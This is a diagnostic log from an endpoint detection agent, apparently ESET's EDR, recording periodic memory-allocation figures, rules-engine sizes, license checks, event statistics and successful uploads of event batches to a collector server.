2026-03-04 00:22:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 3342 KB; TcpIpConnectionsManager: 819 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 565 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 489 KB; ModuleMetadata: 465 KB; rules::ProcessConditionsCache: 283 KB; BatchSerializer::EventsQueueTag: 129 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 6 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 68339 KB;
2026-03-04 00:23:07 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 00:23:07 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 00:23:07 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 00:23:07 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 00:23:25 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:23:25 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 00:23:25 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:23:25 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:23:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 3704 KB; BaseEvent: 668 KB; TcpIpConnectionsManager: 645 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 560 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 465 KB; rules::ProcessConditionsCache: 272 KB; BatchSerializer::EventsQueueTag: 175 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 6 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 68736 KB;
2026-03-04 00:24:18 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 00:20:54, To:, 2026-03-04 00:24:18, Duration (s):, 204, Events Per Second:, 20.010, Events:, 4099, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3377, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 721, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456304
2026-03-04 00:24:21 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s076ms.
2026-03-04 00:24:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1708 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 560 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 530 KB; ModuleMetadata: 465 KB; rules::ProcessConditionsCache: 279 KB; BaseEvent: 108 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; cloudutils::CloudData: 31 KB; BatchSerializer::EventsQueueTag: 28 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 7 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 5 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 65921 KB;
2026-03-04 00:25:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2072 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 549 KB; TcpIpConnectionsManager: 532 KB; ModuleMetadata: 465 KB; BaseEvent: 287 KB; rules::ProcessConditionsCache: 253 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; BatchSerializer::EventsQueueTag: 75 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66479 KB;
2026-03-04 00:26:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2433 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 550 KB; TcpIpConnectionsManager: 544 KB; BaseEvent: 466 KB; ModuleMetadata: 465 KB; rules::ProcessConditionsCache: 240 KB; BatchSerializer::EventsQueueTag: 121 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 6 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67065 KB;
2026-03-04 00:27:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2827 KB; BaseEvent: 648 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 590 KB; TcpIpConnectionsManager: 558 KB; rules::AncestorEvaluations: 552 KB; ModuleMetadata: 465 KB; rules::ProcessConditionsCache: 300 KB; BatchSerializer::EventsQueueTag: 171 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 67811 KB;
2026-03-04 00:28:07 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 00:28:07 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 00:28:07 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 00:28:07 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 00:28:25 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:28:25 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 00:28:25 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:28:25 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:28:27 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 00:24:17, To:, 2026-03-04 00:28:27, Duration (s):, 250, Events Per Second:, 16.456, Events:, 4120, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3416, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 703, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457699
2026-03-04 00:28:28 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s423ms.
2026-03-04 00:28:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1455 KB; TcpIpConnectionsManager: 563 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 532 KB; ModuleMetadata: 465 KB; rules::ProcessConditionsCache: 238 KB; BaseEvent: 96 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; cloudutils::CloudData: 31 KB; BatchSerializer::EventsQueueTag: 24 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 6 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 65620 KB;
2026-03-04 00:29:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1860 KB; TcpIpConnectionsManager: 606 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 528 KB; ModuleMetadata: 465 KB; rules::ProcessConditionsCache: 306 KB; BaseEvent: 280 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; BatchSerializer::EventsQueueTag: 74 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 15 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66375 KB;
2026-03-04 00:30:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2226 KB; TcpIpConnectionsManager: 590 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 531 KB; ModuleMetadata: 465 KB; BaseEvent: 464 KB; rules::ProcessConditionsCache: 258 KB; BatchSerializer::EventsQueueTag: 122 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66902 KB;
2026-03-04 00:31:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2639 KB; BaseEvent: 653 KB; TcpIpConnectionsManager: 624 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 534 KB; ModuleMetadata: 465 KB; rules::ProcessConditionsCache: 361 KB; BatchSerializer::EventsQueueTag: 174 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 67701 KB;
2026-03-04 00:32:13 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 00:28:26, To:, 2026-03-04 00:32:13, Duration (s):, 227, Events Per Second:, 18.162, Events:, 4138, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3453, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 684, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 460406
2026-03-04 00:32:16 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s482ms.
2026-03-04 00:32:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1890 KB; TcpIpConnectionsManager: 729 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 533 KB; ModuleMetadata: 465 KB; rules::ProcessConditionsCache: 239 KB; BaseEvent: 237 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; BatchSerializer::EventsQueueTag: 61 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66402 KB;
2026-03-04 00:33:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 00:33:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 00:33:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 00:33:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 00:33:25 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:33:25 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 00:33:25 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:33:25 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:33:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2615 KB; TcpIpConnectionsManager: 860 KB; BaseEvent: 595 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 532 KB; ModuleMetadata: 465 KB; rules::ProcessConditionsCache: 209 KB; BatchSerializer::EventsQueueTag: 155 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67680 KB;
2026-03-04 00:34:22 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 00:32:13, To:, 2026-03-04 00:34:22, Duration (s):, 129, Events Per Second:, 31.731, Events:, 4100, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3378, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 721, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 454987
2026-03-04 00:34:23 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s422ms.
2026-03-04 00:34:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2482 KB; TcpIpConnectionsManager: 965 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 533 KB; ModuleMetadata: 465 KB; BaseEvent: 197 KB; rules::ProcessConditionsCache: 169 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; BatchSerializer::EventsQueueTag: 50 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 7 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67108 KB;
2026-03-04 00:35:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 3257 KB; TcpIpConnectionsManager: 995 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 598 KB; BaseEvent: 581 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 465 KB; rules::ProcessConditionsCache: 202 KB; BatchSerializer::EventsQueueTag: 151 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 68495 KB;
2026-03-04 00:36:23 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 00:34:19, To:, 2026-03-04 00:36:23, Duration (s):, 124, Events Per Second:, 32.951, Events:, 4107, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3379, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 727, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 455540
2026-03-04 00:36:25 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s403ms.
2026-03-04 00:36:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2683 KB; TcpIpConnectionsManager: 955 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 579 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 465 KB; BaseEvent: 141 KB; ModuleInfoCache: 81 KB; rules::ProcessConditionsCache: 76 KB; CacheEntry: 76 KB; BatchSerializer::EventsQueueTag: 37 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67185 KB;
2026-03-04 00:37:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 3050 KB; TcpIpConnectionsManager: 803 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 582 KB; rules::AncestorEvaluations: 551 KB; ModuleMetadata: 465 KB; BaseEvent: 324 KB; BatchSerializer::EventsQueueTag: 85 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; rules::ProcessConditionsCache: 70 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 7 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67625 KB;
2026-03-04 00:38:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 00:38:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 00:38:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 00:38:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 00:38:25 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:38:25 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 00:38:25 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:38:25 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:38:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 3411 KB; TcpIpConnectionsManager: 639 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 582 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 504 KB; ModuleMetadata: 465 KB; BatchSerializer::EventsQueueTag: 133 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; rules::ProcessConditionsCache: 53 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 68035 KB;
2026-03-04 00:39:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 3839 KB; BaseEvent: 697 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 545 KB; TcpIpConnectionsManager: 542 KB; ModuleMetadata: 465 KB; BatchSerializer::EventsQueueTag: 186 KB; rules::ProcessConditionsCache: 94 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 15 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 68624 KB;
2026-03-04 00:40:06 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 00:36:23, To:, 2026-03-04 00:40:06, Duration (s):, 223, Events Per Second:, 18.451, Events:, 4115, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3421, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 693, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458279
2026-03-04 00:40:08 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s671ms.
2026-03-04 00:40:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 1645 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 548 KB; TcpIpConnectionsManager: 544 KB; ModuleMetadata: 465 KB; BaseEvent: 148 KB; rules::ProcessConditionsCache: 88 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; BatchSerializer::EventsQueueTag: 38 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 6 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 65728 KB;
2026-03-04 00:41:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2004 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 549 KB; TcpIpConnectionsManager: 545 KB; ModuleMetadata: 465 KB; BaseEvent: 326 KB; BatchSerializer::EventsQueueTag: 85 KB; ModuleInfoCache: 81 KB; rules::ProcessConditionsCache: 76 KB; CacheEntry: 76 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66305 KB;
2026-03-04 00:42:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2367 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 570 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 524 KB; BaseEvent: 506 KB; ModuleMetadata: 465 KB; BatchSerializer::EventsQueueTag: 133 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; rules::ProcessConditionsCache: 72 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66892 KB;
2026-03-04 00:43:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 00:43:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 00:43:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 00:43:08 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 00:43:25 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:43:25 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 00:43:25 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:43:25 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 00:43:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61463 KB; ProcessInfo: 2730 KB; BaseEvent: 688 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 573 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 514 KB; ModuleMetadata: 465 KB; BatchSerializer::EventsQueueTag: 179 KB; ModuleInfoCache: 81 KB; CacheEntry: 76 KB; rules::ProcessConditionsCache: 67 KB; cloudutils::CloudData: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67472 KB;
2026-03-04 00:44:14 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 00:40:05, To:, 2026-03-04 00:44:14, Duration (s):, 249, Events Per Second:, 16.395, Events:, 4094, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3367, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 726, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 454613
2026-03-04 00:44:16 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s415ms.
